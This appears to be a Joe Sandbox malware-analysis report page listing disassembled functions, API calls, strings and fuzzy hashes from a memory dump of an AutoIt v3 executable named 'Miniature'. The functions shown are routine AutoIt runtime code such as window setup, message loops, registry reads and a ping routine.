Instruction ID: 4d9a6d4b7e162f8420f07bd3e1b4cc4ed1a98cad217eb3cf223894486e7b8394
Opcode Fuzzy Hash: ba8d450af7d72b23b7dcfbf1edc2be780ad1b000d1ab39ee4be743ff24e4ca13
Instruction Fuzzy Hash: 0AE0D8319107099752306A38EC0D4FB775C9E06335F700705F575C14D4E7B4A9445799

Function 00F994E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa5f1a32f2b3560b6aab978cf15c6c45d4e8f9e08be8f22e5febfce0cce7fe9
Instruction ID: b2365b3ec33d7641976008411c39a0b7f436d66fa9286c2fdadec461f60dadc4
Opcode Fuzzy Hash: cfa5f1a32f2b3560b6aab978cf15c6c45d4e8f9e08be8f22e5febfce0cce7fe9
Instruction Fuzzy Hash: CC22BE71E082058FEF24DF58C880BAEB7B1FF55310F19816EE8569B341D7B4A981EB91

Function 00F9BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F9BF57

Part of subcall function 00F952B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F952E6

Sleep.KERNEL32(0000000A,?,?), ref: 00FD36B5

Strings

@GUI_WINHANDLE, xrefs: 00FD37C1
@GUI_CTRLID, xrefs: 00FD376C
CALL, xrefs: 00F9C277
@COM_EVENTOBJ, xrefs: 00FD3D2E
@GUI_CTRLHANDLE, xrefs: 00FD3816
@TRAY_ID, xrefs: 00FD3FCD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 7dee15433809acb0afece20aef77a2fb9f35e83d16e470a85595a85f39fa2bf7
Instruction ID: c7b4ad7f5cf5e1749d17c4a666e81276e3158bfbfc67de768ed647a95526429c
Opcode Fuzzy Hash: 7dee15433809acb0afece20aef77a2fb9f35e83d16e470a85595a85f39fa2bf7
Instruction Fuzzy Hash: 16C2C370A08341DFDB24DF24C844BAAB7E5BF84314F18491EF58A97391CB75E944EB82

Function 00F933E6 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F93444
RegisterClassExW.USER32(00000030), ref: 00F9346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F9347F
InitCommonControlsEx.COMCTL32(?), ref: 00F9349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F934AC
LoadIconW.USER32(000000A9), ref: 00F934C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F934D1

Strings

AutoIt v3 GUI, xrefs: 00F93460
+, xrefs: 00F9342D
0, xrefs: 00F93426
TaskbarCreated, xrefs: 00F93474

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: acebf4e03c359771a769b3143fe03624334c59122e4ea99a94bb76f218a5144e
Instruction ID: 63b4d7d2747f57a1f07bfd849a7b8c9069672f8fe3b2177ef010c85590b01409
Opcode Fuzzy Hash: acebf4e03c359771a769b3143fe03624334c59122e4ea99a94bb76f218a5144e
Instruction Fuzzy Hash: B7314A71D41309EFEB608FA4D889ADABBF0FF09310F10416AF590E6284E7BA0545DF51

Function 00F93411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F93444
RegisterClassExW.USER32(00000030), ref: 00F9346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F9347F
InitCommonControlsEx.COMCTL32(?), ref: 00F9349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F934AC
LoadIconW.USER32(000000A9), ref: 00F934C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F934D1

Strings

AutoIt v3 GUI, xrefs: 00F93460
+, xrefs: 00F9342D
0, xrefs: 00F93426
TaskbarCreated, xrefs: 00F93474

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 93795bd3a372b633b936f3b469ccc5a05fa93fa8212bb45f518a40c8b13be45e
Instruction ID: bc04734f05061360748f4d81c86a1c3742dd03cedec88207ab58cce29661a6af
Opcode Fuzzy Hash: 93795bd3a372b633b936f3b469ccc5a05fa93fa8212bb45f518a40c8b13be45e
Instruction Fuzzy Hash: 2D212EB1D41319AFEB20DF94E888BDEBBF4FB08700F50411AF594A6288D7BA0544DF91

Function 00FA2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB00CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00FA3094), ref: 00FB00ED

Part of subcall function 00FB08C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00FA309F), ref: 00FB08E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00FA30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00FE01BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00FE01FB
RegCloseKey.ADVAPI32(?), ref: 00FE0239
_wcscat.LIBCMT ref: 00FE0292

Strings

\, xrefs: 00FE02B5
Include, xrefs: 00FE01B1, 00FE01F2
Software\AutoIt v3\AutoIt, xrefs: 00FA30D8
\Include\, xrefs: 00FA309F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: fe4f50e35f0f240ebdffe40ca5a438fcc8881b835e7e0d9673e33f5859634202
Instruction ID: 3683db2f72c533ef53dcbe390c21577f968e503492e280ad01709001cb616a3f
Opcode Fuzzy Hash: fe4f50e35f0f240ebdffe40ca5a438fcc8881b835e7e0d9673e33f5859634202
Instruction Fuzzy Hash: F971B2715093019EC324EF66DC819ABBBE8FF85390F40852EF885C71A4EB799944DB52

Function 00FA514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00FA5156
LoadCursorW.USER32(00000000,00007F00), ref: 00FA5165
LoadIconW.USER32(00000063), ref: 00FA517C
LoadIconW.USER32(000000A4), ref: 00FA518E
LoadIconW.USER32(000000A2), ref: 00FA51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00FA51C6
RegisterClassExW.USER32(?), ref: 00FA521C

Part of subcall function 00F93411: GetSysColorBrush.USER32(0000000F), ref: 00F93444
Part of subcall function 00F93411: RegisterClassExW.USER32(00000030), ref: 00F9346E
Part of subcall function 00F93411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F9347F
Part of subcall function 00F93411: InitCommonControlsEx.COMCTL32(?), ref: 00F9349C
Part of subcall function 00F93411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F934AC
Part of subcall function 00F93411: LoadIconW.USER32(000000A9), ref: 00F934C2
Part of subcall function 00F93411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F934D1

Strings

AutoIt v3, xrefs: 00FA520B
0, xrefs: 00FA51FA
#, xrefs: 00FA5201

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 82098a2737d23d538146487cbd631cf21bd5a4348d4c652990c10ee1e87b78ac
Instruction ID: 3fe8487f8456e7dbb514db2a4945802d91c607d66b5c4f81bd711abfe9f4f8d6
Opcode Fuzzy Hash: 82098a2737d23d538146487cbd631cf21bd5a4348d4c652990c10ee1e87b78ac
Instruction Fuzzy Hash: 64214B71D00308AFEB319FA4ED09B9E7BB4FB08750F50415AF584A6298D7BB5950AF84

Function 01005E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 01005E7E
inet_addr.WSOCK32(?,?,?), ref: 01005EC3
gethostbyname.WS2_32(?), ref: 01005ECF
IcmpCreateFile.IPHLPAPI ref: 01005EDD
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 01005F4D
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 01005F63
IcmpCloseHandle.IPHLPAPI(00000000), ref: 01005FD8
WSACleanup.WSOCK32 ref: 01005FDE

Strings

Ping, xrefs: 01005F01

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c99a650bbe1754b3c1d9e96db6b9ee62495cc4fb13f7ad20063a0b0a2a80ce1d
Instruction ID: a55011418f34b877c87169305865100e16edac0ccda4ecb827bad8d83c6ec9c0
Opcode Fuzzy Hash: c99a650bbe1754b3c1d9e96db6b9ee62495cc4fb13f7ad20063a0b0a2a80ce1d
Instruction Fuzzy Hash: 35516D716043019FEB62EF24CC49B2ABBE4AF88710F144569F999DB2D1DB78E800DF42

Function 00FA4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00FA4E22
KillTimer.USER32(?,00000001), ref: 00FA4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FA4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00FA4E7A
CreatePopupMenu.USER32 ref: 00FA4E8E
PostQuitMessage.USER32(00000000), ref: 00FA4EAF

Strings

TaskbarCreated, xrefs: 00FA4E75

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 9614e153c2a83ee2f1258a7c55a1b0970f0bb97224c20110bde247adb25741d2
Instruction ID: 8d3b10005b8698ba8b84be4ff5982b4448f9eb227325d72fcc9ff0cf997ea813
Opcode Fuzzy Hash: 9614e153c2a83ee2f1258a7c55a1b0970f0bb97224c20110bde247adb25741d2
Instruction Fuzzy Hash: 65413BB2A40345ABDF355F28DC89B7F7655FBC2310F500115F9819118ACAFAAC50FB61

Function 00FA56F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00FE0C5B

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

_memset.LIBCMT ref: 00FA5787
_wcscpy.LIBCMT ref: 00FA57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FA57EB
__swprintf.LIBCMT ref: 00FE0CD1

Strings

Line %d: , xrefs: 00FE0CCB
AutoIt - , xrefs: 00FA5760

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 98000e8fc541c5a89cc5a32ca3cb5214229b78d68c304290fcd6a7837e08e5e7
Instruction ID: d8ad38bf7706f1f75b4b5b9b600371b174b741ac23807cd4047ed40cefa170c8
Opcode Fuzzy Hash: 98000e8fc541c5a89cc5a32ca3cb5214229b78d68c304290fcd6a7837e08e5e7
Instruction Fuzzy Hash: 9341A1B1508304AAC321EB64DC85BEF77ECAF45360F10061EF58592091EF78A649EB93

Function 00FA50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00FA5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00FA512A
ShowWindow.USER32(00000000), ref: 00FA513E
ShowWindow.USER32(00000000), ref: 00FA5147

Strings

AutoIt v3, xrefs: 00FA5101, 00FA5106, 00FA5107
edit, xrefs: 00FA5124

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 18662e910d083077b174fe603c002224271cfd664e3b5286940b601843e5a198
Instruction ID: 9bc0b154d56c7910c13d94f93c04a9409eab3ee8a78f715050c4414df147789c
Opcode Fuzzy Hash: 18662e910d083077b174fe603c002224271cfd664e3b5286940b601843e5a198
Instruction Fuzzy Hash: 54F0FE71A413947EEB315A27AC4CE373E7DE7C6F90F50011EF944A6158C6BA1851EBB0

Function 00FF9B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00FA4A8C: _fseek.LIBCMT ref: 00FA4AA4

Part of subcall function 00FF9CF1: _wcscmp.LIBCMT ref: 00FF9DE1
Part of subcall function 00FF9CF1: _wcscmp.LIBCMT ref: 00FF9DF4

_free.LIBCMT ref: 00FF9C5F
_free.LIBCMT ref: 00FF9C66
_free.LIBCMT ref: 00FF9CD1

Part of subcall function 00FB2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00FB9C54,00000000,00FB8D5D,00FB59C3), ref: 00FB2F99
Part of subcall function 00FB2F85: GetLastError.KERNEL32(00000000,?,00FB9C54,00000000,00FB8D5D,00FB59C3), ref: 00FB2FAB

_free.LIBCMT ref: 00FF9CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00FF9B8F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 79ffa71ae77a183ef4aa62231628ec4741f8a9b8a6cf8a62369e556005f1054f
Instruction ID: 2a149494dd8ca8011b47373094cbbb4a43068fbcecae0583d94d89c7b38979c2
Opcode Fuzzy Hash: 79ffa71ae77a183ef4aa62231628ec4741f8a9b8a6cf8a62369e556005f1054f
Instruction Fuzzy Hash: 3C513CB1D04219ABDB249F65DC41BAEBBB9FF48304F00009EF649A3251DB755E809F58

Function 00FB563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FB569B
_memcpy_s.LIBCMT ref: 00FB570D
__read_nolock.LIBCMT ref: 00FB576B
__filbuf.LIBCMT ref: 00FB578E
_memset.LIBCMT ref: 00FB57D2

Part of subcall function 00FB8D58: __getptd_noexit.LIBCMT ref: 00FB8D58

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 90d41756002963a05f3caf36776a8e958cc5495a9abd3ebd8abb8ef52d14a967
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: FF51B771F00B09DBDB249E6AC8807EE77A6AF40B30F344729F825961D0DB789D51AF40

Function 00F952B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F952E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F9534A
TranslateMessage.USER32(?), ref: 00F95356
DispatchMessageW.USER32(?), ref: 00F95360

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 0dc3a0034b2557513dcd05cb148df5c7be21b36a1fdb7e7b9b31b1fc3db8781a
Instruction ID: 7dfce4e0282fe27b1797b7f954c43fcd4611346a2a36815552fcd29869c4a09b
Opcode Fuzzy Hash: 0dc3a0034b2557513dcd05cb148df5c7be21b36a1fdb7e7b9b31b1fc3db8781a
Instruction Fuzzy Hash: 4D314631D00B069BFF328A74D845FBA37E9AB01B54F64006DF492971C4D3BA9889FB12

Function 00F91284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00F91275,SwapMouseButtons,00000004,?), ref: 00F912A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00F91275,SwapMouseButtons,00000004,?), ref: 00F912C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,00F91275,SwapMouseButtons,00000004,?), ref: 00F912EB

Strings

Control Panel\Mouse, xrefs: 00F912A6

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 0bcd0f3c16042df06a9dab9eebdb00a897d655423c6abe8c70f96a143a279688
Instruction ID: d925192fb87a9901227045d4aa51741a396fa438ea6db8ada2707a2bea53ce40
Opcode Fuzzy Hash: 0bcd0f3c16042df06a9dab9eebdb00a897d655423c6abe8c70f96a143a279688
Instruction Fuzzy Hash: FB115A71A10209BFEF218FA5D884EAFBBB8FF04750F104569F845E7204D2319E40ABA0

Function 00FF3F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,01022C4C), ref: 00FF3F57
GetLastError.KERNEL32 ref: 00FF3F66
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FF3F75
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,01022C4C), ref: 00FF3FD2

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 6fa52f758e7c229286e6dedd37c49586b27b21aaff37359076140604b199fcbd
Instruction ID: ceb644a6e66e48a911d4e05ae202ba0e3002def6c62b9622635d923ae5c876a6
Opcode Fuzzy Hash: 6fa52f758e7c229286e6dedd37c49586b27b21aaff37359076140604b199fcbd
